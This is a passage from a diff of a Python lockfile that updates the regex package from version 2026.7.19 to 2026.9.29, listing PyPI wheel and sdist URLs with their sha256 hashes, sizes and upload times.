"https://files.pythonhosted.org/packages/76/7c/cc4e7655181b2d9235b704f2c5e19d8eff002bbc437bae59baee0e381aca/regex-2026.7.19-cp313-cp313t-win32.whl", hash = "sha256:64b6ca7391a1395c2638dd5c7456d67bea44fc6c5e8e92c5dc8aa6a8f23292b4", size = 269141, upload-time = "2026-07-19T00:18:33.479Z" }, - { url = "https://files.pythonhosted.org/packages/bb/14/961b4c7b05a2391c32dbc85e27773076671ef8f97f36cec70fe414734c02/regex-2026.7.19-cp313-cp313t-win_amd64.whl", hash = "sha256:f04b9f56b0e0614c0126be12c2c2d9f8850c1e57af302bd0a63bed379d4af974", size = 280036, upload-time = "2026-07-19T00:18:35.419Z" }, - { url = "https://files.pythonhosted.org/packages/ce/67/795644550d788ddbb6dc458c95895f8009978ea6d6ea76b005eb3f45e8c9/regex-2026.7.19-cp313-cp313t-win_arm64.whl", hash = "sha256:fcee38cd8e5089d6d4f048ba1233b3ad76e5954f545382180889112ff5cb712d", size = 279394, upload-time = "2026-07-19T00:18:37.454Z" }, - { url = "https://files.pythonhosted.org/packages/d2/25/0c4c452f8ef3efe456745b2f33195f5904b573fb4c2ff3f0cb9ec188461e/regex-2026.7.19-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:a81758ed242b861b72e778ba34d41366441a2e10b16b472784c88da2dea7e2dd", size = 496750, upload-time = "2026-07-19T00:18:39.633Z" }, - { url = "https://files.pythonhosted.org/packages/24/9e/b70ca6c1704f6c7cd32a9e143c86cc5968d10981eca284bad670c245ea7d/regex-2026.7.19-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4aa5435cdb3eb6f55fe98a171b05e3fbcd95fadaa4aa32acf62afd9b0cfdbcac", size = 297093, upload-time = "2026-07-19T00:18:41.583Z" }, - { url = "https://files.pythonhosted.org/packages/87/74/0b692da2520d51fbff19c88b83d97e4c702909dd02386c585998b7e2dbed/regex-2026.7.19-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:60be8693a1dadc210bbcbc0db3e26da5f7d01d1d5a3da594e99b4fa42df404f5", size = 292043, upload-time = "2026-07-19T00:18:43.347Z" }, - { url = "https://files.pythonhosted.org/packages/e3/a7/1d478e614016045a33feae57446215f9fd65b665a5ceb2f891fb3183bc52/regex-2026.7.19-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d19662dbedbe783d323196312d38f5ba53cf56296378252171985da6899887d3", size = 797214, upload-time = "2026-07-19T00:18:45.362Z" }, - { url = "https://files.pythonhosted.org/packages/aa/ae/11b9c9411d92c30e3d2db32df5a31133e4a99a8fc397a604fd08f6c4bffb/regex-2026.7.19-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d15df07081d91b76ff20d43f94592ee110330152d617b730fdbe5ef9fb680053", size = 866433, upload-time = "2026-07-19T00:18:47.315Z" }, - { url = "https://files.pythonhosted.org/packages/b1/62/2b2efc4992f91d6d204b24c647c9f9412e85379d92b7c0ab9fdae622327e/regex-2026.7.19-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:56ad4d9f77df871a99e25c37091052a02528ec0eb059de928ee33956b854b45b", size = 911360, upload-time = "2026-07-19T00:18:49.588Z" }, - { url = "https://files.pythonhosted.org/packages/14/71/986ceea9aa3da548bf1357cad89b63915ec6d21ec957c8113b29ece567df/regex-2026.7.19-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7322ec6cc9fba9d49ab888bb82d67ac5625627aa168f0165139b17018df3fb8a", size = 801275, upload-time = "2026-07-19T00:18:51.767Z" }, - { url = "https://files.pythonhosted.org/packages/15/be/ce9d9534b2cda96eab32c548261224b9b4e220a4126f098f60f42ae7b4cd/regex-2026.7.19-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9c7472192ebfad53a6be7c4a8bfb2d64b81c0e93a1fc8c57e1dd0b638297b5d1", size = 777131, upload-time = "2026-07-19T00:18:54.053Z" }, - { url = "https://files.pythonhosted.org/packages/61/2b/58b5c710f2c3929515a25f3a1ca0dad0dcd4518d4fff3cf23bc7adb8dcd2/regex-2026.7.19-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c10b82c2634df08dfb13b1f04e38fe310d086ee092f4f69c0c8da234251e556e", size = 785020, upload-time = "2026-07-19T00:18:56.579Z" }, - { url = "https://files.pythonhosted.org/packages/84/03/5fe091935b74f15fe0f97998c215cae418d1c0413f6258c7d4d2e83aa37f/regex-2026.7.19-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:17ed5692f6acc4183e98331101a5f9e4f64d72fe58b753da4d444a2c77d05b12", size = 861263, upload-time = "2026-07-19T00:18:58.64Z" }, - { url = "https://files.pythonhosted.org/packages/d8/fa/d60bf82e10841eef62a9e32aac401468f05fddfbcb2942e342b1ba3d2433/regex-2026.7.19-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:22a992de9a0d91bda927bf02b94351d737a0302905432c88a53de7c4b9ce62e2", size = 766199, upload-time = "2026-07-19T00:19:00.705Z" }, - { url = "https://files.pythonhosted.org/packages/bf/5d/11e64d151b0662b81d6bf644c74dc118d461df85bdf2577fadbbf751788a/regex-2026.7.19-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:618a0aed532be87294c4477b0481f3aa0f1520f4014a4374dd4cf789b4cd2c97", size = 851317, upload-time = "2026-07-19T00:19:03.015Z" }, - { url = "https://files.pythonhosted.org/packages/7c/34/532efb87488d90807bae6a443d357ee5e2728a478c597619c8aaa17cc0bd/regex-2026.7.19-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2ce9e679f776649746729b6c86382da519ef649c8e34cc41df0d2e5e0f6c36d4", size = 789557, upload-time = "2026-07-19T00:19:05.338Z" }, - { url = "https://files.pythonhosted.org/packages/d6/90/3a8d5ca977171ec3ae21a71207d2228b2663bde14d7f7ef0e6363ecf9290/regex-2026.7.19-cp314-cp314-win32.whl", hash = "sha256:73f272fba87b8ccfe70a137d02a54af386f6d27aa509fbffdd978f5947aae1aa", size = 272531, upload-time = "2026-07-19T00:19:07.487Z" }, - { url = "https://files.pythonhosted.org/packages/96/e1/8862885e70409de70e8c005f57fb2e7be8d9ef0317250d60f4c9660a300d/regex-2026.7.19-cp314-cp314-win_amd64.whl", hash = "sha256:d721e53758b2cca74990185eb0671dd466d7a388a1a45d0c6f4c13cef41a68ac", size = 280831, upload-time = "2026-07-19T00:19:09.46Z" }, - { url = "https://files.pythonhosted.org/packages/08/82/2693e53e29f9104d9de95d37ce4dd826bd32d5f9c0085d3aa6ac042675c4/regex-2026.7.19-cp314-cp314-win_arm64.whl", hash = "sha256:65fa6cb38ed5e9c3637e68e544f598b39c3b86b808ed0627a67b68320384b459", size = 281099, upload-time = "2026-07-19T00:19:11.398Z" }, - { url = "https://files.pythonhosted.org/packages/92/b7/9a01aa16461a18cde9d7b9c3ab21e501db2ce33725f53014342b91df2b0a/regex-2026.7.19-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:5a2721c8720e2cb3c209925dfb9200199b4b07361c9e01d321719404b21458b3", size = 501121, upload-time = "2026-07-19T00:19:13.425Z" }, - { url = "https://files.pythonhosted.org/packages/f3/5e/bbaeca815dc9191c424c94a4fdc5c87c75748a64a6271821212ebdd4e1a3/regex-2026.7.19-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:199535629f25caf89698039af3d1ad5fcae7f933e2112c73f1cdf49165c99518", size = 299415, upload-time = "2026-07-19T00:19:15.43Z" }, - { url = "https://files.pythonhosted.org/packages/cd/d6/0dd1a321afaab95eb7ff44aa0f637301786f1dc71c6b797b9ed236ed8890/regex-2026.7.19-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:9b60d7814174f059e5de4ab98271cc5ba9259cfea55273a81544dceea32dc8d9", size = 294483, upload-time = "2026-07-19T00:19:17.879Z" }, - { url = "https://files.pythonhosted.org/packages/92/5f/40bacf91d0904f812e13bbbab3864604c463eced8afdc54aeaa50492ea95/regex-2026.7.19-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dbece16025afda5e3031af0c4059207e61dcf73ef13af844964f57f387d1c435", size = 811833, upload-time = "2026-07-19T00:19:20.102Z" }, - { url = "https://files.pythonhosted.org/packages/94/7c/4902744261f775aeede8b5627314b38482da29cf49a57b66a6fb753246c5/regex-2026.7.19-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d24ecb4f5e009ea0bd275ee37ad9953b32005e2e5e60f8bbae16da0dbbf0d3a0", size = 871270, upload-time = "2026-07-19T00:19:22.365Z" }, - { url = "https://files.pythonhosted.org/packages/16/70/6980c9be6bf21c0a60ed3e0aea39cf419ecf3b08d1d9947bc56e196ef186/regex-2026.7.19-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8cae6fd77a5b72dae505084b1a2ee0360139faf72fedbab667cd7cc65aae7a6a", size = 917534, upload-time = "2026-07-19T00:19:24.529Z" }, - { url = "https://files.pythonhosted.org/packages/52/92/8b2bd872782ce8c42691e39acb38eb8efe014e5ddb78ad7d943d6f197ce9/regex-2026.7.19-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9724e6cb5e478cd7d8cabf027826178739cb18cf0e117d0e32814d479fa02276", size = 816135, upload-time = "2026-07-19T00:19:26.919Z" }, - { url = "https://files.pythonhosted.org/packages/de/2d/33a602f657bdc4041f17d79f92ab18261d255d91a06117a6e29df023e5e2/regex-2026.7.19-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:572fc57b0009c735ee56c175ea021b637a15551a312f56734277f923d6fd0f6c", size = 785492, upload-time = "2026-07-19T00:19:29.192Z" }, - { url = "https://files.pythonhosted.org/packages/9e/36/0987cf4cb271680064a70d24a475873775a151d0b7058698a006cb0cae4a/regex-2026.7.19-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:20568e182eb82d39a6bf7cff3fd58566f14c75c6f74b2c8c96537eecf9010e3a", size = 800658, upload-time = "2026-07-19T00:19:31.392Z" }, - { url = "https://files.pythonhosted.org/packages/a8/24/c14f31c135e1ba55fa4f9a58ca98d0842512bf6188230763c31c8f449e3b/regex-2026.7.19-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:1d58561843f0ff7dc78b4c28b5e2dc388f3eff94ebc8a232a3adba961fc00009", size = 865073, upload-time = "2026-07-19T00:19:33.485Z" }, - { url = "https://files.pythonhosted.org/packages/14/85/181a12211f22469f24d2de1ebddfe397d2396e2c29013b9a58134a91069a/regex-2026.7.19-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:61bb1bd45520aacd56dd80943bd34991fb5350afdd1f36f2282230fd5154a218", size = 773684, upload-time = "2026-07-19T00:19:35.599Z" }, - { url = "https://files.pythonhosted.org/packages/23/58/bd1a0c1a62251366f8d21f41b1ea3c76994962071b8b6ea42f72d505c0f0/regex-2026.7.19-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:cd3584591ea4429026cdb931b054342c2bcf189b44ff367f8d5c15bc092a2966", size = 857769, upload-time = "2026-07-19T00:19:37.738Z" }, - { url = "https://files.pythonhosted.org/packages/e4/4f/f7e2dad6756b2fe1fe75dd90a628c3b45f249d39f948dd90cd2476325417/regex-2026.7.19-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5cc26a66e212fa5d6c6170c3a40d99d888db3020c6fdab1523250d4341382e44", size = 804546, upload-time = "2026-07-19T00:19:40.229Z" }, - { url = "https://files.pythonhosted.org/packages/2b/d7/01d31d5bdb09bc026fab77f59a371fdf8f9b292e4810546c56182ca70498/regex-2026.7.19-cp314-cp314t-win32.whl", hash = "sha256:2c4e61e2e1be56f63ec3cc618aa9e0de81ef6f43d177205451840022e24f5b78", size = 274526, upload-time = "2026-07-19T00:19:42.398Z" }, - { url = "https://files.pythonhosted.org/packages/52/0e/cea4ce73bc0a8247a0748228ae6669984c7e1f8134b6fa66e59c0572e0ea/regex-2026.7.19-cp314-cp314t-win_amd64.whl", hash = "sha256:c639ea314df70a7b2811e8020448c75af8c9445f5a60f8a4ced81c306a9380c2", size = 283763, upload-time = "2026-07-19T00:19:44.644Z" }, - { url = "https://files.pythonhosted.org/packages/6f/b6/26e41975febae63b7a6e3e02f32cff6cff2e4f10d19c929082f56aebf7c6/regex-2026.7.19-cp314-cp314t-win_arm64.whl", hash = "sha256:9a15e785f244f3e07847b984ce8773fc3da10a9f3c131cc49a4c5b4d672b4547", size = 283451, upload-time = "2026-07-19T00:19:46.639Z" }, +version = "2026.9.29" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fc/f2/af1da9d3ceed77bfcdce40427d49ba0be94e4fe84245e3bfef68c10e75b6/regex-2026.9.29.tar.gz", hash = "sha256:8b5fcc4771732191b2b7d1dd68d8f0353f47f8d90b6150f6dce58bf1112442cb", size = 419199, upload-time = "2026-09-29T00:49:58.298Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e8/6b/6dea87689c3a06a6e79d254bf824e6f3e3d724b5ba027c6112559aa6cd2c/regex-2026.9.29-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6abb75ab16bc3281714a5b99548a2225db70dba1f995f6d7f7419b76eb5a8fbe", size = 495413, upload-time = "2026-09-29T00:46:14.51Z" }, + { url = "https://files.pythonhosted.org/packages/3a/a5/0c791a0e83ad1013d262c13247c4c77e0f4a8d05bdc167df96aba6681c0d/regex-2026.9.29-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b7b893976e7fe42053da64f2aa27239c24252fd2ec6df471e1be197c0addc3b1", size = 295145, upload-time = "2026-09-29T00:46:16.292Z" }, + { url = "https://files.pythonhosted.org/packages/b1/07/9bf3607d8d13a12e436ab9d63f9791e10706827d535695b23964ad79fd79/regex-2026.9.29-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:066d0e3dbfdd739bce2bf8c2a41dd16f73e3d8adc2eb06dd803a36a307f56075", size = 292123, upload-time = "2026-09-29T00:46:17.646Z" }, + { url = "https://files.pythonhosted.org/packages/64/6b/32c2e6fc617e1d3f247e250fea31a9a35b1265bd32f585968aa13b9999b9/regex-2026.9.29-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7020ed44df30b3aa492c00ee3b52d0548c1f30c2c6c5bb13ae897680900d3413", size = 799537, upload-time = "2026-09-29T00:46:18.976Z" }, + { url = "https://files.pythonhosted.org/packages/bf/72/f041177f3c7a4606f7c81a95fe7eea03e2a0c4e8bff9e439a01432cbc9f2/regex-2026.9.29-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ae4613d7d9dda60fcba95f846cc6f808017f1843f392cf9daad14a6534493d71", size = 873255, upload-time = "2026-09-29T00:46:20.684Z" }, + { url = "https://files.pythonhosted.org/packages/d0/4e/a78948e11dd715e0e46716c2e0f3404b3fe6a44e2a2e9abdc7d965cab2b3/regex-2026.9.29-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bec37990e3d6121f29ecfb594bd8f1bf009e9f7926daba2e50e3b27d3892a783", size = 914570, upload-time = "2026-09-29T00:46:22.599Z" }, + { url = "https://files.pythonhosted.org/packages/8a/70/aa08d1d2b294894b365e5f8ba5380fe3f8546acdb81f10639dfd74209c37/regex-2026.9.29-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:612b709381c0355b70d89cdb51b7f670591ed5cbbc0e3b5337488019dc667b65", size = 804978, upload-time = "2026-09-29T00:46:23.981Z" }, + { url = "https://files.pythonhosted.org/packages/21/32/1b03534c4715aca3b564416d28d518083ed4dab3bc913267600d2256140d/regex-2026.9.29-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a760da040b47767b4b873adfb7c3b691e9ba2fc60f113f9d0b88f1a62f323e85", size = 779297, upload-time = "2026-09-29T00:46:25.318Z" }, + { url = "https://files.pythonhosted.org/packages/76/a7/378f6f558d9e4444af315a307c5953565a511d1e3666f1bb7bdc82012b6b/regex-2026.9.29-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:49ee178ca31c94621294bf9b8b676a92a2e6bba8af0529591753719e57edb621", size = 786961, upload-time = "2026-09-29T00:46:26.963Z" }, + { url = "https://files.pythonhosted.org/packages/59/13/79f0b1846f5f342f92ddbd4b27b18bcb86da96d902c1a0be26520bde98d7/regex-2026.9.29-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:5eeb8edc6110d9194a4d0d54610f64c37a31c605b5dbb7e407fc6ec7fa34a4a1", size = 863234, upload-time = "2026-09-29T00:46:28.58Z" }, + { url = "https://files.pythonhosted.org/packages/97/19/05af70dec9f2eed6ba34e08d2dcc6a48e7ae5e307659d5fe4201a5d7bbee/regex-2026.9.29-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:ccb64d887a9db1cd76dbc0f92051a1a478a2a67e7f56c62d915cb881d7734704", size = 766487, upload-time = "2026-09-29T00:46:29.941Z" }, + { url = "https://files.pythonhosted.org/packages/01/e1/9c7486d4afe8fdd1fe0ad60139f8aa91427381f409af6a29b609d8fdcb3a/regex-2026.9.29-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9e4482589065c8ecd761cff522dcd85f2d39e62f551e37e025d1c7d54772def3", size = 854792, upload-time = "2026-09-29T00:46:31.358Z" }, + { url = "https://files.pythonhosted.org/packages/26/c7/49d008ff5f741d9a9799d7315556f3a12b983ff0fcd2cdfb62904bedafbf/regex-2026.9.29-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d60030baaa7bfbb02d650c126cdcddcb6e33dbff14d819434c8fa2fdcaeeeba5", size = 793050, upload-time = "2026-09-29T00:46:32.775Z" }, + { url = "https://files.pythonhosted.org/packages/cb/a1/46ba549e65562ca04608b24179b8a7bb6f146ae0e7c6d7f5e70f3339c8ba/regex-2026.9.29-cp311-cp311-win32.whl", hash = "sha256:18ae8eed4526e35bdb754d61562b90bf5c00a67fdcf3cc1380dd59597486631b", size = 268940, upload-time = "2026-09-29T00:46:34.179Z" }, + { url = "https://files.pythonhosted.org/packages/4d/4a/aab232183c70fdcf77bcf0c51819da02ec522e393e6a0bf00bcf2142e21f/regex-2026.9.29-cp311-cp311-win_amd64.whl", hash = "sha256:1043aedf5917caa861bcb25a9c11460049656bdf0017a90a309fa8f255467725", size = 280641, upload-time = "2026-09-29T00:46:35.484Z" }, + { url = "https://files.pythonhosted.org/packages/33/b1/7c05954af0f51de376df2ba97f7f78a8b79334c7e5b3d2d9f2aead1f4d3d/regex-2026.9.29-cp311-cp311-win_arm64.whl", hash = "sha256:352cf115a810b357caa35193ab656ecf5ef41056855e82f292c99e8514f8d954", size = 279411, upload-time = "2026-09-29T00:46:37.193Z" }, + { url = "https://files.pythonhosted.org/packages/84/48/3fdcde9a0baa84d7d25571223265d6e434e114763b438601d54a8028bf3e/regex-2026.9.29-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:dc79d36d0618752265f0d575915bdc5c5130ecb9c9f6b3bcefeae32e4bdfafcf", size = 497903, upload-time = "2026-09-29T00:46:38.938Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1c/4ee3e97c76f53940488dfe7a7e18705e78daac8cd7fb161d246b9e328449/regex-2026.9.29-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:3a21a9509d0ee88e7a70e1ad228cd2f0e0fd1e187458db132e8a8d18c97daf9d", size = 296416, upload-time = "2026-09-29T00:46:40.406Z" }, + { url = "https://files.pythonhosted.org/packages/37/14/f3f0ba083d2094392d5eabf56db5ea6ba469fd6e927afd187042054ea68a/regex-2026.9.29-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f57dc6b8fef170f105d2cf5cdce254f47b137d7755086cf7050f47e16582abba", size = 293633, upload-time = "2026-09-29T00:46:41.959Z" }, + { url = "https://files.pythonhosted.org/packages/c9/72/67e7a8ce17f1aea49df215564048efb49cc8c2b31a0e0fc30f36838f8516/regex-2026.9.29-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f93bc1c3486ef3747e07c9d7c1d0a147b8fbaab975f80e348aed6f71309dfaca", size = 805885, upload-time = "2026-09-29T00:46:43.373Z" }, + { url = "https://files.pythonhosted.org/packages/f6/78/25436bcfd4d2260b4b4090094d55d7ab53ec8a1ab4865a0b8bcb33c7d5c0/regex-2026.9.29-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9e1d3a4cb7993b708f0ada8d0c84590efd853f169e7147d2202c9da503180242", size = 878344, upload-time = "2026-09-29T00:46:45.328Z" }, + { url = "https://files.pythonhosted.org/packages/97/e6/a09ec3a23ae41d6179880e67f0aace9284b2d95f2d7b326eff203f8eec5e/regex-2026.9.29-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:dabee8f4935e731fb46b2a3091bdda0d3d94b3bbfb907d2b4f12eefce4009619", size = 919181, upload-time = "2026-09-29T00:46:47.041Z" }, + { url = "https://files.pythonhosted.org/packages/26/83/d2fbd2e4e3afb1167daa825187d196f313cbaa1a4768f311fb041bb0e3d2/regex-2026.9.29-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:39ab5894d971f9ac68baa6eca5c50387db579cfcacf36ae8df3feceb1815e6d0", size = 807783, upload-time = "2026-09-29T00:46:48.894Z" }, + { url = "https://files.pythonhosted.org/packages/46/0b/eb429a7016610d44fc89a597163f8c9127505f0d7dc724dc9effbb6a3ac0/regex-2026.9.29-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c1a9a6651197fbed6f0212591418b9def774fc3f8324f78d1bf0e6a63e5f8aa1", size = 783465, upload-time = "2026-09-29T00:46:50.64Z" }, + { url = "https://files.pythonhosted.org/packages/1b/07/58a3c0153c7476898430f6a7cf3d9062a1d17fbea4f43399ecaf411c7b4c/regex-2026.9.29-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:87fb80cbe3557e27e7b28b995c2b2eedf689b8886f941ab93e0e288f0976518a", size = 793519, upload-time = "2026-09-29T00:46:52.396Z" }, + { url = "https://files.pythonhosted.org/packages/2a/e8/161b94d39164520e21a7befe0245569bf7fda4c7cf1fc4e2df2b5def49da/regex-2026.9.29-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:3c5c2ef13797466aa64170cbb66ad98a32351dd4127694cea7199f80f213750d", size = 869293, upload-time = "2026-09-29T00:46:54.128Z" }, + { url = "https://files.pythonhosted.org/packages/8f/07/3b02ed829aa2decdc1955d222bd1e2f99d1c8bb4873bbb9a66b2f0a36bff/regex-2026.9.29-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:59b49507f47479e299a9e1bc41b5cb83a7afda0540625f1dbae886615978acbf", size = 770239, upload-time = "2026-09-29T00:46:56.106Z" }, + { url = "https://files.pythonhosted.org/packages/42/5b/ba61f6fe062eb8562e742367d177bb75370434138ef6c9d2a27114f8d613/regex-2026.9.29-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:0dd8af32e9f7b56b7f95cc1fd79b23054c3bdc172392ae560acc24d57b7ffe71", size = 861973, upload-time = "2026-09-29T00:46:57.665Z" }, + { url = "https://files.pythonhosted.org/packages/cc/27/767259b20e8a842948990f5e99138d6c077248fd42f8b5468b1d9ca4b814/regex-2026.9.29-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:db5e82ba15c142425b8406690032df89e39cca4a2e8afbbb9a3d84edc2373ac3", size = 796470, upload-time = "2026-09-29T00:46:59.236Z" }, + { url = "https://files.pythonhosted.org/packages/a0/05/2566c4ba849b68a8ab81a6bf428fa79d20aae7ddee83979103c0381df254/regex-2026.9.29-cp312-cp312-win32.whl", hash = "sha256:d0c3082bf79bcd6a614d55916590ad4b8f93200e10b97f463ea5d9d07c9b5f23", size = 269327, upload-time = "2026-09-29T00:47:01.135Z" }, + { url = "https://files.pythonhosted.org/packages/93/19/489bc8db91196381c935752df01ba3f607140daece33b78d88573f028e64/regex-2026.9.29-cp312-cp312-win_amd64.whl", hash = "sha256:fdd88ed5e20b1bcdd234421e454962c971aa44b653bdb7f1ea9ef683e90fb649", size = 280334, upload-time = "2026-09-29T00:47:04.436Z" }, + { url = "https://files.pythonhosted.org/packages/0b/47/fb88ba779d0e5e7d4b0ec1aceeb13845948a2cb876bd572a2d1dfdba090b/regex-2026.9.29-cp312-cp312-win_arm64.whl", hash = "sha256:4fe97894d1b306c919b4e50def1e6f6c522f4d03a7283811f4d108f1ce5d3ac2", size = 279614, upload-time = "2026-09-29T00:47:06.541Z" }, + { url = "https://files.pythonhosted.org/packages/79/d5/6080f7d1a6e7e36aa720f806ac93c035ba39c209ae6cc510e8ef4c0279c6/regex-2026.9.29-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f1a0d5117230dd46b399a30a38afa44f79c99f3168988fdc4f425c3f928b39df", size = 497622, upload-time = "2026-09-29T00:47:08.251Z" }, + { url = "https://files.pythonhosted.org/packages/00/71/c87fc7a2e21a42f9d57489db32951c37eef56d153840459a80d464f0321d/regex-2026.9.29-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f0fe9834e5aeccaf19a0d8feb296d66a24be1a7c9922002f842a682cd5abb787", size = 296281, upload-time = "2026-09-29T00:47:09.764Z" }, + { url = "https://files.pythonhosted.org/packages/11/9e/aa0f4cde3bc4688c1d58b0cd8415edd708339bc0bc401a195b0b1e8c8f0c/regex-2026.9.29-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c90fcf7804ea0a54b896ce0f2b9565350220b8d4890fd0db461a476a4c687963", size = 293472, upload-time = "2026-09-29T00:47:11.723Z" }, + { url = "https://files.pythonhosted.org/packages/90/d4/e835c487850ed922a8d6074f953b888c8ea99775c76b9ed5f8a4d72eab92/regex-2026.9.29-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e11edba5bc344a32b029a7af9d4b3173982dd79eeafa0b9dbd787364414b0509", size = 805966, upload-time = "2026-09-29T00:47:13.235Z" }, + { url = "https://files.pythonhosted.org/packages/2c/57/ba8809847fbae8d2cbc71367c6ded510a7ec88bf52493c65efc1acf4effb/regex-2026.9.29-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:bb90e7177944b6684738c1fc36aabd2dd00d1de3be7dbe09f91e196f1bc0dc81", size = 878346, upload-time = "2026-09-29T00:47:14.877Z" }, + { url = "https://files.pythonhosted.org/packages/1a/52/e3da19fc3cc15ef67ab67e121e87887c3bccfdb683a7a9ec557c460ca5b7/regex-2026.9.29-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d06fcdecc10fc7954d7c8f27a03c96055fe525274dc84a7b0dbdc3d6b9e03dab", size = 919250, upload-time = "2026-09-29T00:47:16.622Z" }, + { url = "https://files.pythonhosted.org/packages/9a/8e/c1ed81f55f992f6aa0b699a592a50c1ce9e6d44ff1aee2c14c0537dcef9c/regex-2026.9.29-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d49c18f1ea294cf4adde2e5ac256e98c82ea9d708462ce4bf799dffa7cfe8a2c", size = 807902, upload-time = "2026-09-29T00:47:18.268Z" }, + { url = "https://files.pythonhosted.org/packages/ad/bc/5a6886eb470e41040e21e05b75024a18b6ebfe7ea400b72094a60f949101/regex-2026.9.29-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3e778bfccd63075167709136afbc251c1f683758d5bf49c803c60ac3f894ce6b", size = 783514, upload-time = "2026-09-29T00:47:19.921Z" }, + { url = "https://files.pythonhosted.org/packages/cb/52/6d951d453b023c6edb880f1ba474291b53b8ce1cc438b96a9db6d791d991/regex-2026.9.29-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:686ac5350fceae63830bb98805fcb8039325bf4c06d9f6f048ff65229d5bffa5", size = 793466, upload-time = "2026-09-29T00:47:21.552Z" }, + { url = "https://files.pythonhosted.org/packages/99/b9/d5a41adc08360f5eee0dc4846c578f002366947211fc8af5a69a64ee7b9f/regex-2026.9.29-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:26ec4ccce55aa533fbd603d08911b01101a8fcfec987845ac3ae2c7087b2bde3", size = 869464, upload-time = "2026-09-29T00:47:23.276Z" }, + { url = "https://files.pythonhosted.org/packages/4b/32/d76c9d91f5d798e2e9e67f6f85ec4ae35445ac425f7454797311cecb80ca/regex-2026.9.29-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:a655d34b2a6943af32401f3d94f72e9d731f6ad16285815550bf2b4ee69d420a", size = 